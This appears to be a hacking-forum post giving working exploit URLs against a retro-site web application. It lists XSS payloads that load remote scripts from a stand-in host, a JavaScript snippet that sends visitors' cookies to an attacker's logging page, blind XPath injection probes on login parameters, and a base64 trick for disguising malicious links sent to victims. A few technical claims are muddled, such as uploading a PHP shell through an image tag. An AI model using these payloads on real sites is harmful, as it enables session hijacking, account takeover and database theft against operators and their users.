more???
The main exploits that I found are as follows:
/group_forum.php XSS vulnerability under the POST variable.
Code:
http://site.com/group_forum.php?searchString=<img+src=http://badsite.com/c99.gif+onload=alert(Uploaded)>
This can be used to upload a PHP shell in the form of a .gif file as the script does not secure this kind of attack because the author did not design this for image uploading.
Another possible exploit in group_forum.php:
Code:
http://site.com/group_forum.php?searchString=<script/xss+src=http://badsite.com/xss.js?Uploaded></script>
This can be used to RFI any Javascript source that you wish, this can be anything that can be done with Javascript, including a JS shell.
Code:
http://site.com/group_forum.php?searchString=--><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>
This will just display a popup saying XSS, but can easily be edited to dump the cookies to a file on your server CHMOD 777. You can do this by inserting the following code:
Code:
var http = new ActiveXObject("microsoft.xmlhttp"); http.open("GET","http://yoursite.com/log.php?this="+document.cookie,false); http.send(); return http.responseText;
Would be easier to do that with the xss.js RFI exploit.
/group_profile.php XSS exploits:
Like the Previous exploits, these ones are just simple Javascript injections.
Code:
http://site.com/group_profile.php?searchString=<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>
/index.php XSS exploits:
Code:
http://site.com/index.php?username="+onmouseover=alert(XSS)+&password=111-222-1933email@address.tst&_login_remember_me=on
Can be used to craft a custom cookie.
Code:
http://site.com/index.php?username=>"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>&password=111-222-1933email@address.tst&_login_remember_me=on
/tags.php XSS exploits:
This time on the GET variable. Same principle as the above exploits though.
Code:
http://site.com/tags.php?tag=%00'"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>
/index.php Blind XPath Injection Exploits.
This exploit is the most damaging. I can be used to drop the entire users database or extract any part that you wish.
Vulnerable variables are registerCancel and username.
Code:
http://site.com/index.php?registerCancel=true'+and+31337-31337='0
Code:
http://site.com/index.php?username=111-222-1933email@address.tst+and+31337-31337=0&password=111-222-1933email@add
I will not advance on these exploits, if you really feel the need to do these exploits, you should be clever enough to work it out for yourself. I don't want kids running around exploiting every retro with this exploit.
How a hacker can hide these vulnerabilities from you:
Like all XSS, a popular method of disguising these exploits from you would be to base64 encode them. For example the following exploit:
Code:
http://site.com/group_profile.php?searchString=<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>
Take this bit of the code:
HTML :
Code:
<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>#
Base64 encoded will be the following:
Code:
PHNjcmlwdC94c3Mrc3JjPWh0dHA6Ly9iYWRzaXRlLmNvbS94c3MuanM/RVhFQ1VURUQ+PC9zY3JpcHQ+
And simply replace that with added parametres so that the server knows that it is Base64:
Code:
http://site.com/group_profile.php?searchString=data:text/html;base64,PHNjcmlwdC94c3Mrc3JjPWh0dHA6Ly9iYWRzaXRlLmNvbS94c3MuanM/RVhFQ1VURUQ+PC9zY3JpcHQ+
Just looks like a normal URL? Well imagine what would happen if a user PM'd this to you on your retro and it stole your session and he could then log in as you.